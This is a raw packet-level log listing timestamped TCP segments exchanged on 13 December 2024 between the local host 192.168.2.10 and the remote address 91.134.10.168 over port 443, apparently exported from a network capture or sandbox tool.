Dec 13, 2024 13:27:32.071851969 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.071882963 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.071927071 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.071927071 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.071940899 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.119005919 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.197946072 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.198029041 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.201204062 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.201245070 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.201296091 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.201296091 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.201309919 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.202462912 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.202560902 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.202569008 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.202718019 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.204451084 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.204571009 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.206141949 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.206564903 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.208008051 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.208127975 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.209145069 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.209232092 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.211273909 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.211347103 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.213066101 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.213222027 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.214103937 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.214164019 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.215965033 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.216063023 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.218043089 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.218182087 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.219136953 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.219331026 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.220881939 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.221029043 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.222812891 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.222965956 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.223829985 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.223994970 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.226008892 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.226078033 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.227619886 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.227741957 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.228806019 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.228863955 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.231077909 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.231184959 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.232301950 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.232429981 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.234147072 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.234209061 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.235764027 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.235908985 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.236860037 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.237117052 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.240032911 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.240099907 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.240972042 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.241028070 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.242182016 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.242234945 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.244167089 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.244410038 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.245944023 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.246030092 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.246961117 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.247107983 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.248910904 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.249006033 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.390153885 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.390228987 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.391624928 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.391684055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.393558979 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.393613100 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.394746065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.394798040 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.396677017 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.396737099 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.398494005 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.398547888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.399554014 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.399602890 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.401473045 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.401525974 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.403350115 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.403403044 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.404505968 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.404560089 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.406409025 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.406460047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.408282042 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.408428907 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.409399033 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.409451008 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.411349058 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.411396980 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.413184881 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.413230896 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.415131092 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.415270090 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.416229010 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.416280031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.418086052 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.418133974 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.420012951 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.420062065 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.421087980 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.421130896 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.423093081 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.423139095 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.424734116 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.424782038 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.426474094 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.426523924 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.427536011 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.427581072 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.429615974 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.429709911 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.431343079 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.431458950 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.433324099 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.433409929 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.434381962 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.434451103 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.436245918 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.436326027 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.438198090 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.438270092 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.439275026 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.439347029 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.441103935 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.441176891 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.582921028 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.582987070 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.586236954 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.586263895 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.586288929 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.586297035 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.586414099 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.590713978 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.590775013 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.590775967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.590795994 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.590821981 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.591456890 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.591496944 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.591509104 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.591573000 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.592803955 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.592859030 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.594588041 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.594650030 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.595832109 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.595884085 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.597553015 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.597626925 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.599704027 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.599891901 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.600620985 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.600671053 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.602474928 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.602523088 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.604666948 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.604720116 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.605436087 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.605480909 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.607733011 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.607772112 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.609344959 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.609385967 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.610338926 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.610377073 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.612335920 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.612391949 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.614413023 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.614459991 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.615648031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.615700960 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.617768049 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.617827892 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.619237900 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.619348049 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.620670080 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.620723009 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.622657061 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.622698069 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.623816013 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.623869896 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.625583887 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.625813007 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.627398014 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.627460957 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.628536940 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.628618002 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.630692959 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.630757093 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.632368088 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.632416010 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.633393049 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.633440018 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.777719975 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.777832985 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.778964996 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.779032946 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.779983044 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.780045986 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.782036066 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.782104969 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.783818960 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.783875942 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.784796000 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.784849882 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.786869049 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.786926031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.787790060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.787843943 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.789203882 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.789263010 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.790267944 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.790328979 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.792171001 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.792242050 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.793903112 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.793970108 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.795044899 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.795106888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.797095060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.797158003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.799078941 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.799132109 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.804263115 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.804330111 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.804342031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.804383993 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.805474997 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.805526018 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.806456089 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.806502104 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.808620930 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.808679104 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.809936047 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.809988022 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.811871052 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.811924934 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.813695908 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.813749075 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.814976931 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.815026999 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.816703081 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.816873074 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.818506956 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.818559885 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.819576025 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.819629908 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.821558952 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.821614981 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.823546886 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.823609114 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.824544907 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.824601889 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.826702118 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.826756001 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.968923092 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.969012022 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.969238997 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.969286919 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.971271038 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.971335888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.973136902 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.973187923 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.974586010 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.974659920 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.976614952 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.976676941 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.978283882 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.978348017 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.979255915 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.979307890 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.981159925 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.981215000 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.983163118 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.983217001 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.984090090 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.984164000 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.985151052 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.985270977 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.988286972 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.988378048 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.989892960 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.989960909 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.990974903 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.991043091 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.992748976 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.992810011 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.994950056 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.995001078 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.995863914 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.995912075 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.997821093 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.997879028 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:32.999665022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:32.999733925 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.001144886 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.001194954 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.003001928 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.003058910 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.004309893 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.004364967 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.006089926 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.006149054 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.008112907 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.008186102 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.009125948 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.009176016 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.011159897 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.011213064 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.013081074 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.013144970 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.014059067 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.014113903 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.016242981 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.016433954 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.018064022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.018120050 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.019205093 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.019258022 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.159579992 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.159643888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.160057068 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.160136938 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.161947966 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.161998987 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:33.164144039 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.165026903 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:33.165055990 CET	49712	443	192.168.2.10	91.134.10.168
